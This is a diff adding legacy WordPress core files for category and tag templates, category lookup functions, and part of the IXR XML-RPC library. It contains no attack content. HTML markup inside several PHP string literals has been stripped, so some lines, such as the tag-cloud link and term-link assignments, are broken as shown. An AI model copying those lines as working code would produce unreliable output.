$r['hierarchical'] ) { + $r['exclude_tree'] = $r['exclude']; + $r['exclude'] = ''; + } + + extract( $r ); + + $categories = get_categories( $r ); + + $output = ''; + if ( $title_li && 'list' == $style ) + $output = '
  • ' . $r['title_li'] . '
      '; + + if ( empty( $categories ) ) { + if ( 'list' == $style ) + $output .= '
    • ' . __( "No categories" ) . '
    • '; + else + $output .= __( "No categories" ); + } else { + global $wp_query; + + if( !empty( $show_option_all ) ) + if ( 'list' == $style ) + $output .= '
    • ' . $show_option_all . '
    • '; + else + $output .= '' . $show_option_all . ''; + + if ( empty( $r['current_category'] ) && is_category() ) + $r['current_category'] = $wp_query->get_queried_object_id(); + + if ( $hierarchical ) + $depth = $r['depth']; + else + $depth = -1; // Flat. + + $output .= walk_category_tree( $categories, $depth, $r ); + } + + if ( $title_li && 'list' == $style ) + $output .= '
  • '; + + $output = apply_filters( 'wp_list_categories', $output ); + + if ( $echo ) + echo $output; + else + return $output; +} + +/** + * Display tag cloud. + * + * The text size is set by the 'smallest' and 'largest' arguments, which will + * use the 'unit' argument value for the CSS text size unit. The 'format' + * argument can be 'flat' (default), 'list', or 'array'. The flat value for the + * 'format' argument will separate tags with spaces. The list value for the + * 'format' argument will format the tags in a UL HTML list. The array value for + * the 'format' argument will return in PHP array type format. + * + * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'. + * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC'. + * + * The 'number' argument is how many tags to return. By default, the limit will + * be to return the top 45 tags in the tag cloud list. + * + * The 'topic_count_text_callback' argument is a function, which, given the count + * of the posts with that tag, returns a text for the tooltip of the tag link. + * + * The 'exclude' and 'include' arguments are used for the {@link get_tags()} + * function. Only one should be used, because only one will be used and the + * other ignored, if they are both set. + * + * @since 2.3.0 + * + * @param array|string $args Optional. Override default arguments. + * @return array Generated tag cloud, only if no failures and 'array' is set for the 'format' argument. + */ +function wp_tag_cloud( $args = '' ) { + $defaults = array( + 'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45, + 'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC', + 'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'post_tag', 'echo' => true + ); + $args = wp_parse_args( $args, $defaults ); + + $tags = get_terms( $args['taxonomy'], array_merge( $args, array( 'orderby' => 'count', 'order' => 'DESC' ) ) ); // Always query top tags + + if ( empty( $tags ) ) + return; + + foreach ( $tags as $key => $tag ) { + if ( 'edit' == $args['link'] ) + $link = get_edit_tag_link( $tag->term_id, $args['taxonomy'] ); + else + $link = get_term_link( intval($tag->term_id), $args['taxonomy'] ); + if ( is_wp_error( $link ) ) + return false; + + $tags[ $key ]->link = $link; + $tags[ $key ]->id = $tag->term_id; + } + + $return = wp_generate_tag_cloud( $tags, $args ); // Here's where those top tags get sorted according to $args + + $return = apply_filters( 'wp_tag_cloud', $return, $args ); + + if ( 'array' == $args['format'] || empty($args['echo']) ) + return $return; + + echo $return; +} + +/** + * Default text for tooltip for tag links + * + * @param integer $count number of posts with that tag + * @return string text for the tooltip of a tag link. + */ +function default_topic_count_text( $count ) { + return sprintf( _n('%s topic', '%s topics', $count), number_format_i18n( $count ) ); +} + +/** + * Default topic count scaling for tag links + * + * @param integer $count number of posts with that tag + * @return integer scaled count + */ +function default_topic_count_scale( $count ) { + return round(log10($count + 1) * 100); +} + + +/** + * Generates a tag cloud (heatmap) from provided data. + * + * The text size is set by the 'smallest' and 'largest' arguments, which will + * use the 'unit' argument value for the CSS text size unit. The 'format' + * argument can be 'flat' (default), 'list', or 'array'. The flat value for the + * 'format' argument will separate tags with spaces. The list value for the + * 'format' argument will format the tags in a UL HTML list. The array value for + * the 'format' argument will return in PHP array type format. + * + * The 'tag_cloud_sort' filter allows you to override the sorting. + * Passed to the filter: $tags array and $args array, has to return the $tags array + * after sorting it. + * + * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'. + * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC' or + * 'RAND'. + * + * The 'number' argument is how many tags to return. By default, the limit will + * be to return the entire tag cloud list. + * + * The 'topic_count_text_callback' argument is a function, which given the count + * of the posts with that tag returns a text for the tooltip of the tag link. + * + * @todo Complete functionality. + * @since 2.3.0 + * + * @param array $tags List of tags. + * @param string|array $args Optional, override default arguments. + * @return string + */ +function wp_generate_tag_cloud( $tags, $args = '' ) { + global $wp_rewrite; + $defaults = array( + 'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 0, + 'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC', + 'topic_count_text_callback' => 'default_topic_count_text', + 'topic_count_scale_callback' => 'default_topic_count_scale', 'filter' => 1, + ); + + if ( !isset( $args['topic_count_text_callback'] ) && isset( $args['single_text'] ) && isset( $args['multiple_text'] ) ) { + $body = 'return sprintf ( + _n(' . var_export($args['single_text'], true) . ', ' . var_export($args['multiple_text'], true) . ', $count), + number_format_i18n( $count ));'; + $args['topic_count_text_callback'] = create_function('$count', $body); + } + + $args = wp_parse_args( $args, $defaults ); + extract( $args ); + + if ( empty( $tags ) ) + return; + + $tags_sorted = apply_filters( 'tag_cloud_sort', $tags, $args ); + if ( $tags_sorted != $tags ) { // the tags have been sorted by a plugin + $tags = $tags_sorted; + unset($tags_sorted); + } else { + if ( 'RAND' == $order ) { + shuffle($tags); + } else { + // SQL cannot save you; this is a second (potentially different) sort on a subset of data. + if ( 'name' == $orderby ) + uasort( $tags, create_function('$a, $b', 'return strnatcasecmp($a->name, $b->name);') ); + else + uasort( $tags, create_function('$a, $b', 'return ($a->count > $b->count);') ); + + if ( 'DESC' == $order ) + $tags = array_reverse( $tags, true ); + } + } + + if ( $number > 0 ) + $tags = array_slice($tags, 0, $number); + + $counts = array(); + $real_counts = array(); // For the alt tag + foreach ( (array) $tags as $key => $tag ) { + $real_counts[ $key ] = $tag->count; + $counts[ $key ] = $topic_count_scale_callback($tag->count); + } + + $min_count = min( $counts ); + $spread = max( $counts ) - $min_count; + if ( $spread <= 0 ) + $spread = 1; + $font_spread = $largest - $smallest; + if ( $font_spread < 0 ) + $font_spread = 1; + $font_step = $font_spread / $spread; + + $a = array(); + + foreach ( $tags as $key => $tag ) { + $count = $counts[ $key ]; + $real_count = $real_counts[ $key ]; + $tag_link = '#' != $tag->link ? esc_url( $tag->link ) : '#'; + $tag_id = isset($tags[ $key ]->id) ? $tags[ $key ]->id : $key; + $tag_name = $tags[ $key ]->name; + $a[] = "$tag_name"; + } + + switch ( $format ) : + case 'array' : + $return =& $a; + break; + case 'list' : + $return = "
      \n\t
    • "; + $return .= join( "
    • \n\t
    • ", $a ); + $return .= "
    • \n
    \n"; + break; + default : + $return = join( $separator, $a ); + break; + endswitch; + + if ( $filter ) + return apply_filters( 'wp_generate_tag_cloud', $return, $tags, $args ); + else + return $return; +} + +// +// Helper functions +// + +/** + * Retrieve HTML list content for category list. + * + * @uses Walker_Category to create HTML list content. + * @since 2.1.0 + * @see Walker_Category::walk() for parameters and return description. + */ +function walk_category_tree() { + $args = func_get_args(); + // the user's options are the third parameter + if ( empty($args[2]['walker']) || !is_a($args[2]['walker'], 'Walker') ) + $walker = new Walker_Category; + else + $walker = $args[2]['walker']; + + return call_user_func_array(array( &$walker, 'walk' ), $args ); +} + +/** + * Retrieve HTML dropdown (select) content for category list. + * + * @uses Walker_CategoryDropdown to create HTML dropdown content. + * @since 2.1.0 + * @see Walker_CategoryDropdown::walk() for parameters and return description. + */ +function walk_category_dropdown_tree() { + $args = func_get_args(); + // the user's options are the third parameter + if ( empty($args[2]['walker']) || !is_a($args[2]['walker'], 'Walker') ) + $walker = new Walker_CategoryDropdown; + else + $walker = $args[2]['walker']; + + return call_user_func_array(array( &$walker, 'walk' ), $args ); +} + +// +// Tags +// + +/** + * Retrieve the link to the tag. + * + * @since 2.3.0 + * @uses apply_filters() Calls 'tag_link' with tag link and tag ID as parameters. + * + * @param int $tag_id Tag (term) ID. + * @return string + */ +function get_tag_link( $tag_id ) { + global $wp_rewrite; + $taglink = $wp_rewrite->get_tag_permastruct(); + + $tag = &get_term( $tag_id, 'post_tag' ); + if ( is_wp_error( $tag ) ) + return $tag; + $slug = $tag->slug; + + if ( empty( $taglink ) ) { + $file = get_option( 'home' ) . '/'; + $taglink = $file . '?tag=' . $slug; + } else { + $taglink = str_replace( '%tag%', $slug, $taglink ); + $taglink = get_option( 'home' ) . user_trailingslashit( $taglink, 'category' ); + } + return apply_filters( 'tag_link', $taglink, $tag_id ); +} + +/** + * Retrieve the tags for a post. + * + * @since 2.3.0 + * @uses apply_filters() Calls 'get_the_tags' filter on the list of post tags. + * + * @param int $id Post ID. + * @return array + */ +function get_the_tags( $id = 0 ) { + return apply_filters( 'get_the_tags', get_the_terms( $id, 'post_tag' ) ); +} + +/** + * Retrieve the tags for a post formatted as a string. + * + * @since 2.3.0 + * @uses apply_filters() Calls 'the_tags' filter on string list of tags. + * + * @param string $before Optional. Before tags. + * @param string $sep Optional. Between tags. + * @param string $after Optional. After tags. + * @return string + */ +function get_the_tag_list( $before = '', $sep = '', $after = '' ) { + return apply_filters( 'the_tags', get_the_term_list( 0, 'post_tag', $before, $sep, $after ), $before, $sep, $after); +} + +/** + * Retrieve the tags for a post. + * + * @since 2.3.0 + * + * @param string $before Optional. Before list. + * @param string $sep Optional. Separate items using this. + * @param string $after Optional. After list. + * @return string + */ +function the_tags( $before = null, $sep = ', ', $after = '' ) { + if ( null === $before ) + $before = __('Tags: '); + echo get_the_tag_list($before, $sep, $after); +} + +/** + * Retrieve tag description. + * + * @since 2.8 + * + * @param int $tag Optional. Tag ID. Will use global tag ID by default. + * @return string Tag description, available. + */ +function tag_description( $tag = 0 ) { + return term_description( $tag ); +} + +/** + * Retrieve term description. + * + * @since 2.8 + * + * @param int $term Optional. Term ID. Will use global term ID by default. + * @return string Term description, available. + */ +function term_description( $term = 0, $taxonomy = 'post_tag' ) { + if ( !$term && ( is_tax() || is_tag() || is_category() ) ) { + global $wp_query; + $term = $wp_query->get_queried_object(); + $taxonomy = $term->taxonomy; + $term = $term->term_id; + } + return get_term_field( 'description', $term, $taxonomy ); +} + +/** + * Retrieve the terms of the taxonomy that are attached to the post. + * + * This function can only be used within the loop. + * + * @since 2.5.0 + * + * @param int $id Post ID. Is not optional. + * @param string $taxonomy Taxonomy name. + * @return array|bool False on failure. Array of term objects on success. + */ +function get_the_terms( $id = 0, $taxonomy ) { + global $post; + + $id = (int) $id; + + if ( !$id ) { + if ( !$post->ID ) + return false; + else + $id = (int) $post->ID; + } + + $terms = get_object_term_cache( $id, $taxonomy ); + if ( false === $terms ) + $terms = wp_get_object_terms( $id, $taxonomy ); + + if ( empty( $terms ) ) + return false; + + return $terms; +} + +/** + * Retrieve a post's terms as a list with specified format. + * + * @since 2.5.0 + * + * @param int $id Post ID. + * @param string $taxonomy Taxonomy name. + * @param string $before Optional. Before list. + * @param string $sep Optional. Separate items using this. + * @param string $after Optional. After list. + * @return string + */ +function get_the_term_list( $id = 0, $taxonomy, $before = '', $sep = '', $after = '' ) { + $terms = get_the_terms( $id, $taxonomy ); + + if ( is_wp_error( $terms ) ) + return $terms; + + if ( empty( $terms ) ) + return false; + + foreach ( $terms as $term ) { + $link = get_term_link( $term, $taxonomy ); + if ( is_wp_error( $link ) ) + return $link; + $term_links[] = ''; + } + + $term_links = apply_filters( "term_links-$taxonomy", $term_links ); + + return $before . join( $sep, $term_links ) . $after; +} + +/** + * Display the terms in a list. + * + * @since 2.5.0 + * + * @param int $id Term ID. + * @param string $taxonomy Taxonomy name. + * @param string $before Optional. Before list. + * @param string $sep Optional. Separate items using this. + * @param string $after Optional. After list. + * @return null|bool False on WordPress error. Returns null when displaying. + */ +function the_terms( $id, $taxonomy, $before = '', $sep = ', ', $after = '' ) { + $term_list = get_the_term_list( $id, $taxonomy, $before, $sep, $after ); + + if ( is_wp_error( $term_list ) ) + return false; + + echo apply_filters('the_terms', $term_list, $taxonomy, $before, $sep, $after); +} + +/** + * Check if the current post has any of given tags. + * + * The given tags are checked against the post's tags' term_ids, names and slugs. + * Tags given as integers will only be checked against the post's tags' term_ids. + * If no tags are given, determines if post has any tags. + * + * Prior to v2.7 of WordPress, tags given as integers would also be checked against the post's tags' names and slugs (in addition to term_ids) + * Prior to v2.7, this function could only be used in the WordPress Loop. + * As of 2.7, the function can be used anywhere if it is provided a post ID or post object. + * + * @since 2.6.0 + * + * @uses is_object_in_term() + * + * @param string|int|array $tag Optional. The tag name/term_id/slug or array of them to check for. + * @param int|post object Optional. Post to check instead of the current post. @since 2.7.0 + * @return bool True if the current post has any of the the given tags (or any tag, if no tag specified). + */ +function has_tag( $tag = '', $_post = null ) { + if ( $_post ) { + $_post = get_post( $_post ); + } else { + $_post =& $GLOBALS['post']; + } + + if ( !$_post ) + return false; + + $r = is_object_in_term( $_post->ID, 'post_tag', $tag ); + if ( is_wp_error( $r ) ) + return false; + return $r; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/category.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/category.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,368 @@ + 'category' ); + $args = wp_parse_args( $args, $defaults ); + + $taxonomy = apply_filters( 'get_categories_taxonomy', 'category', $args ); + if ( 'link' == $args['type'] ) + $taxonomy = 'link_category'; + $categories = (array) get_terms( $taxonomy, $args ); + + foreach ( array_keys( $categories ) as $k ) + _make_cat_compat( $categories[$k] ); + + return $categories; +} + +/** + * Retrieves category data given a category ID or category object. + * + * If you pass the $category parameter an object, which is assumed to be the + * category row object retrieved the database. It will cache the category data. + * + * If you pass $category an integer of the category ID, then that category will + * be retrieved from the database, if it isn't already cached, and pass it back. + * + * If you look at get_term(), then both types will be passed through several + * filters and finally sanitized based on the $filter parameter value. + * + * The category will converted to maintain backwards compatibility. + * + * @since 1.5.1 + * @uses get_term() Used to get the category data from the taxonomy. + * + * @param int|object $category Category ID or Category row object + * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N + * @param string $filter Optional. Default is raw or no WordPress defined filter will applied. + * @return mixed Category data in type defined by $output parameter. + */ +function &get_category( $category, $output = OBJECT, $filter = 'raw' ) { + $category = get_term( $category, 'category', $output, $filter ); + if ( is_wp_error( $category ) ) + return $category; + + _make_cat_compat( $category ); + + return $category; +} + +/** + * Retrieve category based on URL containing the category slug. + * + * Breaks the $category_path parameter up to get the category slug. + * + * Tries to find the child path and will return it. If it doesn't find a + * match, then it will return the first category matching slug, if $full_match, + * is set to false. If it does not, then it will return null. + * + * It is also possible that it will return a WP_Error object on failure. Check + * for it when using this function. + * + * @since 2.1.0 + * + * @param string $category_path URL containing category slugs. + * @param bool $full_match Optional. Whether should match full path or not. + * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N + * @return null|object|array Null on failure. Type is based on $output value. + */ +function get_category_by_path( $category_path, $full_match = true, $output = OBJECT ) { + $category_path = rawurlencode( urldecode( $category_path ) ); + $category_path = str_replace( '%2F', '/', $category_path ); + $category_path = str_replace( '%20', ' ', $category_path ); + $category_paths = '/' . trim( $category_path, '/' ); + $leaf_path = sanitize_title( basename( $category_paths ) ); + $category_paths = explode( '/', $category_paths ); + $full_path = ''; + foreach ( (array) $category_paths as $pathdir ) + $full_path .= ( $pathdir != '' ? '/' : '' ) . sanitize_title( $pathdir ); + + $categories = get_terms( 'category', "get=all&slug=$leaf_path" ); + + if ( empty( $categories ) ) + return null; + + foreach ( $categories as $category ) { + $path = '/' . $leaf_path; + $curcategory = $category; + while ( ( $curcategory->parent != 0 ) && ( $curcategory->parent != $curcategory->term_id ) ) { + $curcategory = get_term( $curcategory->parent, 'category' ); + if ( is_wp_error( $curcategory ) ) + return $curcategory; + $path = '/' . $curcategory->slug . $path; + } + + if ( $path == $full_path ) + return get_category( $category->term_id, $output ); + } + + // If full matching is not required, return the first cat that matches the leaf. + if ( ! $full_match ) + return get_category( $categories[0]->term_id, $output ); + + return null; +} + +/** + * Retrieve category object by category slug. + * + * @since 2.3.0 + * + * @param string $slug The category slug. + * @return object Category data object + */ +function get_category_by_slug( $slug ) { + $category = get_term_by( 'slug', $slug, 'category' ); + if ( $category ) + _make_cat_compat( $category ); + + return $category; +} + + +/** + * Retrieve the ID of a category from its name. + * + * @since 1.0.0 + * + * @param string $cat_name Optional. Default is 'General' and can be any category name. + * @return int 0, if failure and ID of category on success. + */ +function get_cat_ID( $cat_name='General' ) { + $cat = get_term_by( 'name', $cat_name, 'category' ); + if ( $cat ) + return $cat->term_id; + return 0; +} + + +/** + * Retrieve the name of a category from its ID. + * + * @since 1.0.0 + * + * @param int $cat_id Category ID + * @return string Category name + */ +function get_cat_name( $cat_id ) { + $cat_id = (int) $cat_id; + $category = &get_category( $cat_id ); + return $category->name; +} + + +/** + * Check if a category is an ancestor of another category. + * + * You can use either an id or the category object for both parameters. If you + * use an integer the category will be retrieved. + * + * @since 2.1.0 + * + * @param int|object $cat1 ID or object to check if this is the parent category. + * @param int|object $cat2 The child category. + * @return bool Whether $cat2 is child of $cat1 + */ +function cat_is_ancestor_of( $cat1, $cat2 ) { + if ( ! isset($cat1->term_id) ) + $cat1 = &get_category( $cat1 ); + if ( ! isset($cat2->parent) ) + $cat2 = &get_category( $cat2 ); + + if ( empty($cat1->term_id) || empty($cat2->parent) ) + return false; + if ( $cat2->parent == $cat1->term_id ) + return true; + + return cat_is_ancestor_of( $cat1, get_category( $cat2->parent ) ); +} + + +/** + * Sanitizes category data based on context. + * + * @since 2.3.0 + * @uses sanitize_term() See this function for what context are supported. + * + * @param object|array $category Category data + * @param string $context Optional. Default is 'display'. + * @return object|array Same type as $category with sanitized data for safe use. + */ +function sanitize_category( $category, $context = 'display' ) { + return sanitize_term( $category, 'category', $context ); +} + + +/** + * Sanitizes data in single category key field. + * + * @since 2.3.0 + * @uses sanitize_term_field() See function for more details. + * + * @param string $field Category key to sanitize + * @param mixed $value Category value to sanitize + * @param int $cat_id Category ID + * @param string $context What filter to use, 'raw', 'display', etc. + * @return mixed Same type as $value after $value has been sanitized. + */ +function sanitize_category_field( $field, $value, $cat_id, $context ) { + return sanitize_term_field( $field, $value, $cat_id, 'category', $context ); +} + +/* Tags */ + + +/** + * Retrieves all post tags. + * + * @since 2.3.0 + * @see get_terms() For list of arguments to pass. + * @uses apply_filters() Calls 'get_tags' hook on array of tags and with $args. + * + * @param string|array $args Tag arguments to use when retrieving tags. + * @return array List of tags. + */ +function &get_tags( $args = '' ) { + $tags = get_terms( 'post_tag', $args ); + + if ( empty( $tags ) ) { + $return = array(); + return $return; + } + + $tags = apply_filters( 'get_tags', $tags, $args ); + return $tags; +} + + +/** + * Retrieve post tag by tag ID or tag object. + * + * If you pass the $tag parameter an object, which is assumed to be the tag row + * object retrieved the database. It will cache the tag data. + * + * If you pass $tag an integer of the tag ID, then that tag will + * be retrieved from the database, if it isn't already cached, and pass it back. + * + * If you look at get_term(), then both types will be passed through several + * filters and finally sanitized based on the $filter parameter value. + * + * @since 2.3.0 + * + * @param int|object $tag + * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N + * @param string $filter Optional. Default is raw or no WordPress defined filter will applied. + * @return object|array Return type based on $output value. + */ +function &get_tag( $tag, $output = OBJECT, $filter = 'raw' ) { + return get_term( $tag, 'post_tag', $output, $filter ); +} + + +/* Cache */ + + +/** + * Update the categories cache. + * + * This function does not appear to be used anymore or does not appear to be + * needed. It might be a legacy function left over from when there was a need + * for updating the category cache. + * + * @since 1.5.0 + * + * @return bool Always return True + */ +function update_category_cache() { + return true; +} + + +/** + * Remove the category cache data based on ID. + * + * @since 2.1.0 + * @uses clean_term_cache() Clears the cache for the category based on ID + * + * @param int $id Category ID + */ +function clean_category_cache( $id ) { + clean_term_cache( $id, 'category' ); +} + + +/** + * Update category structure to old pre 2.3 from new taxonomy structure. + * + * This function was added for the taxonomy support to update the new category + * structure with the old category one. This will maintain compatibility with + * plugins and themes which depend on the old key or property names. + * + * The parameter should only be passed a variable and not create the array or + * object inline to the parameter. The reason for this is that parameter is + * passed by reference and PHP will fail unless it has the variable. + * + * There is no return value, because everything is updated on the variable you + * pass to it. This is one of the features with using pass by reference in PHP. + * + * @since 2.3.0 + * @access private + * + * @param array|object $category Category Row object or array + */ +function _make_cat_compat( &$category ) { + if ( is_object( $category ) ) { + $category->cat_ID = &$category->term_id; + $category->category_count = &$category->count; + $category->category_description = &$category->description; + $category->cat_name = &$category->name; + $category->category_nicename = &$category->slug; + $category->category_parent = &$category->parent; + } elseif ( is_array( $category ) && isset( $category['term_id'] ) ) { + $category['cat_ID'] = &$category['term_id']; + $category['category_count'] = &$category['count']; + $category['category_description'] = &$category['description']; + $category['cat_name'] = &$category['name']; + $category['category_nicename'] = &$category['slug']; + $category['category_parent'] = &$category['parent']; + } +} + + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-IXR.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-IXR.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,907 @@ +data = $data; + if (!$type) { + $type = $this->calculateType(); + } + $this->type = $type; + if ($type == 'struct') { + /* Turn all the values in the array in to new IXR_Value objects */ + foreach ($this->data as $key => $value) { + $this->data[$key] = new IXR_Value($value); + } + } + if ($type == 'array') { + for ($i = 0, $j = count($this->data); $i < $j; $i++) { + $this->data[$i] = new IXR_Value($this->data[$i]); + } + } + } + + function calculateType() { + if ($this->data === true || $this->data === false) { + return 'boolean'; + } + if (is_integer($this->data)) { + return 'int'; + } + if (is_double($this->data)) { + return 'double'; + } + // Deal with IXR object types base64 and date + if (is_object($this->data) && is_a($this->data, 'IXR_Date')) { + return 'date'; + } + if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) { + return 'base64'; + } + // If it is a normal PHP object convert it in to a struct + if (is_object($this->data)) { + + $this->data = get_object_vars($this->data); + return 'struct'; + } + if (!is_array($this->data)) { + return 'string'; + } + /* We have an array - is it an array or a struct ? */ + if ($this->isStruct($this->data)) { + return 'struct'; + } else { + return 'array'; + } + } + + function getXml() { + /* Return XML for this value */ + switch ($this->type) { + case 'boolean': + return ''.(($this->data) ? '1' : '0').''; + break; + case 'int': + return ''.$this->data.''; + break; + case 'double': + return ''.$this->data.''; + break; + case 'string': + return ''.htmlspecialchars($this->data).''; + break; + case 'array': + $return = ''."\n"; + foreach ($this->data as $item) { + $return .= ' '.$item->getXml()."\n"; + } + $return .= ''; + return $return; + break; + case 'struct': + $return = ''."\n"; + foreach ($this->data as $name => $value) { + $name = htmlspecialchars($name); + $return .= " $name"; + $return .= $value->getXml()."\n"; + } + $return .= ''; + return $return; + break; + case 'date': + case 'base64': + return $this->data->getXml(); + break; + } + return false; + } + + function isStruct($array) { + /* Nasty function to check if an array is a struct or not */ + $expected = 0; + foreach ($array as $key => $value) { + if ((string)$key != (string)$expected) { + return true; + } + $expected++; + } + return false; + } +} + +/** + * IXR_Message + * + * @package IXR + * @since 1.5 + */ +class IXR_Message { + var $message; + var $messageType; // methodCall / methodResponse / fault + var $faultCode; + var $faultString; + var $methodName; + var $params; + // Current variable stacks + var $_arraystructs = array(); // The stack used to keep track of the current array/struct + var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array + var $_currentStructName = array(); // A stack as well + var $_param; + var $_value; + var $_currentTag; + var $_currentTagContents; + // The XML parser + var $_parser; + function IXR_Message (&$message) { + $this->message = &$message; + } + function parse() { + // first remove the XML declaration + // this method avoids the RAM usage of preg_replace on very large messages + $header = preg_replace( '/<\?xml.*?\?'.'>/', '', substr( $this->message, 0, 100 ), 1 ); + $this->message = substr_replace($this->message, $header, 0, 100); + if (trim($this->message) == '') { + return false; + } + $this->_parser = xml_parser_create(); + // Set XML parser to take the case of tags in to account + xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false); + // Set XML parser callback functions + xml_set_object($this->_parser, $this); + xml_set_element_handler($this->_parser, 'tag_open', 'tag_close'); + xml_set_character_data_handler($this->_parser, 'cdata'); + $chunk_size = 262144; // 256Kb, parse in chunks to avoid the RAM usage on very large messages + do { + if ( strlen($this->message) <= $chunk_size ) + $final=true; + $part = substr( $this->message, 0, $chunk_size ); + $this->message = substr( $this->message, $chunk_size ); + if ( !xml_parse( $this->_parser, $part, $final ) ) + return false; + if ( $final ) + break; + } while ( true ); + xml_parser_free($this->_parser); + // Grab the error messages, if any + if ($this->messageType == 'fault') { + $this->faultCode = $this->params[0]['faultCode']; + $this->faultString = $this->params[0]['faultString']; + } + return true; + } + function tag_open($parser, $tag, $attr) { + $this->_currentTagContents = ''; + $this->currentTag = $tag; + switch($tag) { + case 'methodCall': + case 'methodResponse': + case 'fault': + $this->messageType = $tag; + break; + /* Deal with stacks of arrays and structs */ + case 'data': // data is to all intents and puposes more interesting than array + $this->_arraystructstypes[] = 'array'; + $this->_arraystructs[] = array(); + break; + case 'struct': + $this->_arraystructstypes[] = 'struct'; + $this->_arraystructs[] = array(); + break; + } + } + function cdata($parser, $cdata) { + $this->_currentTagContents .= $cdata; + } + function tag_close($parser, $tag) { + $valueFlag = false; + switch($tag) { + case 'int': + case 'i4': + $value = (int) trim($this->_currentTagContents); + $valueFlag = true; + break; + case 'double': + $value = (double) trim($this->_currentTagContents); + $valueFlag = true; + break; + case 'string': + $value = $this->_currentTagContents; + $valueFlag = true; + break; + case 'dateTime.iso8601': + $value = new IXR_Date(trim($this->_currentTagContents)); + // $value = $iso->getTimestamp(); + $valueFlag = true; + break; + case 'value': + // "If no type is indicated, the type is string." + if (trim($this->_currentTagContents) != '') { + $value = (string)$this->_currentTagContents; + $valueFlag = true; + } + break; + case 'boolean': + $value = (boolean) trim($this->_currentTagContents); + $valueFlag = true; + break; + case 'base64': + $value = base64_decode( trim( $this->_currentTagContents ) ); + $valueFlag = true; + break; + /* Deal with stacks of arrays and structs */ + case 'data': + case 'struct': + $value = array_pop($this->_arraystructs); + array_pop($this->_arraystructstypes); + $valueFlag = true; + break; + case 'member': + array_pop($this->_currentStructName); + break; + case 'name': + $this->_currentStructName[] = trim($this->_currentTagContents); + break; + case 'methodName': + $this->methodName = trim($this->_currentTagContents); + break; + } + if ($valueFlag) { + if (count($this->_arraystructs) > 0) { + // Add value to struct or array + if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') { + // Add to struct + $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value; + } else { + // Add to array + $this->_arraystructs[count($this->_arraystructs)-1][] = $value; + } + } else { + // Just add as a paramater + $this->params[] = $value; + } + } + $this->_currentTagContents = ''; + } +} + +/** + * IXR_Server + * + * @package IXR + * @since 1.5 + */ +class IXR_Server { + var $data; + var $callbacks = array(); + var $message; + var $capabilities; + function IXR_Server($callbacks = false, $data = false) { + $this->setCapabilities(); + if ($callbacks) { + $this->callbacks = $callbacks; + } + $this->setCallbacks(); + $this->serve($data); + } + function serve($data = false) { + if (!$data) { + global $HTTP_RAW_POST_DATA; + if (!$HTTP_RAW_POST_DATA) { + header( 'Content-Type: text/plain' ); + die('XML-RPC server accepts POST requests only.'); + } + $data = &$HTTP_RAW_POST_DATA; + } + $this->message = new IXR_Message($data); + if (!$this->message->parse()) { + $this->error(-32700, 'parse error. not well formed'); + } + if ($this->message->messageType != 'methodCall') { + $this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall'); + } + $result = $this->call($this->message->methodName, $this->message->params); + // Is the result an error? + if (is_a($result, 'IXR_Error')) { + $this->error($result); + } + // Encode the result + $r = new IXR_Value($result); + $resultxml = $r->getXml(); + // Create the XML + $xml = << + + + + $resultxml + + + + + +EOD; + // Send it + $this->output($xml); + } + function call($methodname, $args) { + if (!$this->hasMethod($methodname)) { + return new IXR_Error(-32601, 'server error. requested method '. + $methodname.' does not exist.'); + } + $method = $this->callbacks[$methodname]; + // Perform the callback and send the response + if (count($args) == 1) { + // If only one paramater just send that instead of the whole array + $args = $args[0]; + } + // Are we dealing with a function or a method? + if (substr($method, 0, 5) == 'this:') { + // It's a class method - check it exists + $method = substr($method, 5); + if (!method_exists($this, $method)) { + return new IXR_Error(-32601, 'server error. requested class method "'. + $method.'" does not exist.'); + } + // Call the method + $result = $this->$method($args); + } else { + // It's a function - does it exist? + if (is_array($method)) { + if (!method_exists($method[0], $method[1])) { + return new IXR_Error(-32601, 'server error. requested object method "'. + $method[1].'" does not exist.'); + } + } else if (!function_exists($method)) { + return new IXR_Error(-32601, 'server error. requested function "'. + $method.'" does not exist.'); + } + // Call the function + $result = call_user_func($method, $args); + } + return $result; + } + + function error($error, $message = false) { + // Accepts either an error object or an error code and message + if ($message && !is_object($error)) { + $error = new IXR_Error($error, $message); + } + $this->output($error->getXml()); + } + function output($xml) { + $xml = ''."\n".$xml; + $length = strlen($xml); + header('Connection: close'); + header('Content-Length: '.$length); + header('Content-Type: text/xml'); + header('Date: '.date('r')); + echo $xml; + exit; + } + function hasMethod($method) { + return in_array($method, array_keys($this->callbacks)); + } + function setCapabilities() { + // Initialises capabilities array + $this->capabilities = array( + 'xmlrpc' => array( + 'specUrl' => 'http://www.xmlrpc.com/spec', + 'specVersion' => 1 + ), + 'faults_interop' => array( + 'specUrl' => 'http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php', + 'specVersion' => 20010516 + ), + 'system.multicall' => array( + 'specUrl' => 'http://www.xmlrpc.com/discuss/msgReader$1208', + 'specVersion' => 1 + ), + ); + } + function getCapabilities($args) { + return $this->capabilities; + } + function setCallbacks() { + $this->callbacks['system.getCapabilities'] = 'this:getCapabilities'; + 